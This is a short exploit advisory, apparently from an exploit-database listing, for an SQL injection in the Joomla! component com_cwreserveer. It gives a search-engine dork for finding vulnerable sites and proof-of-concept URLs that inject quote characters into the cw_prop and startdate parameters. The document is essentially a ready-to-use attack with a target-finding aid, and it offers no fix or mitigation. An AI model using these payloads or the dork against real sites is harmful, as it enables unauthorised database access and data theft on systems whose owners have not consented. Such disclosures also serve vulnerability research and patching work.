# Exploit Title: Joomla! Component com_cwreserveer - SQL Injection # Exploit Author: Mr Winst0n # Author E-mail: manamtabeshekan@gmail.com # Discovery Date: April 27, 2019 # Dork: inurl:index.php?option=com_cwreserveer # Tested on: Kali linux, Windows 8.1 # PoC: # http://localhost/[PATH]/index.php?option=com_cwreserveer&view=boeken&cw_prop=SQLi&startdate=SQLi&Itemid=19&lang=fr # http://localhost/[PATH]/index.php?option=com_cwreserveer&view=boeken&cw_prop=3%27&startdate=2019-03-11%27&Itemid=19&lang=fr